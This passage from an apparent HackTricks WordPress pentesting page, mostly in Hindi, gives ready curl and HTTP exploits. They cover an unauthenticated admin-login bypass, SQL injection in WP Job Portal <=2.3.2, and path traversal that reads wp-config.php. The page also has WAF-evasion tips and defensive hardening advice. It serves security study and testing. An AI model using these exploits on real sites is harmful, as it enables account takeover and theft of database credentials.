  • सीधे wp_set_auth_cookie($uid) को कॉल करना अनुरोधकर्ता को बिना किसी capability/nonce जाँच के उस उपयोगकर्ता के रूप में लॉग इन कर देता है।

शोषण (गैर-प्रमाणीकृत)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई high‑impact WordPress/plugin flaws application-specific logic/auth बग होते हैं जो तब तक सामान्य ट्रैफ़िक जैसे दिखते हैं जब तक इंजन WordPress routes और plugin semantics को न समझे।

Offensive notes

  • प्लगइन-विशिष्ट endpoints को clean payloads के साथ लक्षित करें: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • पहले unauth paths का परीक्षण करें (AJAX nopriv, REST with permissive permission_callback, public shortcodes)। Default payloads अक्सर बिना obfuscation के सफल होते हैं।
  • सामान्य high-impact मामले: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • plugin CVEs की सुरक्षा के लिए generic WAF signatures पर निर्भर न रहें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
  • code में negative regex filters की बजाय positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।

WordPress Protection

Regular Updates

सुनिश्चित करें कि WordPress, plugins, और themes अप टू डेट हैं। यह भी सुनिश्चित करें कि automated updating wp-config.php में सक्षम है:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें

सुरक्षा प्लगइन्स

अन्य सिफारिशें

  • डिफ़ॉल्ट admin उपयोगकर्ता हटाएँ
  • मजबूत पासवर्ड और 2FA का उपयोग करें
  • नियमित रूप से उपयोगकर्ताओं की अनुमतियाँ की समीक्षा करें
  • लॉगिन प्रयासों को सीमित करें ताकि Brute Force attacks को रोका जा सके
  • wp-admin.php फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ विशिष्ट IP पतों से ही पहुँच की अनुमति दें।

Unauthenticated SQL Injection — अपर्याप्त वैलिडेशन के कारण (WP Job Portal <= 2.3.2)

The WP Job Portal recruitment plugin exposed a savecategory task that ultimately executes the following असुरक्षित कोड inside modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Unsanitised user inputparentid सीधे HTTP request से आता है.
  2. String concatenation inside the WHERE clauseis_numeric() / esc_sql() / prepared statement का उपयोग नहीं किया गया है.
  3. Unauthenticated reachability – हालांकि action admin-post.php के माध्यम से execute होता है, मौजूद केवल जांच CSRF nonce (wp_verify_nonce() ) है, जिसे कोई भी विज़िटर उस पब्लिक पेज से प्राप्त कर सकता है जो shortcode [wpjobportal_my_resumes] embed करता है।

शोषण

  1. एक नया nonce प्राप्त करें:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid का दुरुपयोग करके arbitrary SQL inject करें:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Response इंजेक्ट किए गए query का परिणाम उजागर करता है या database को बदल देता है, जिससे SQLi साबित होता है।

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

एक और टास्क, downloadcustomfile, विज़िटर्स को path traversal के जरिए डिस्क पर मौजूद किसी भी फाइल डाउनलोड करने की अनुमति देता था। कमजोर sink modules/customfield/model.php::downloadCustomUploadedFile() में स्थित है:

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name हमलावर द्वारा नियंत्रित है और concatenated without sanitisation। फिर से, एकमात्र बाधा CSRF nonce है जिसे resume page से प्राप्त किया जा सकता है।

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

सर्वर wp-config.php की सामग्री वापस करता है, leaking DB credentials and auth keys।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें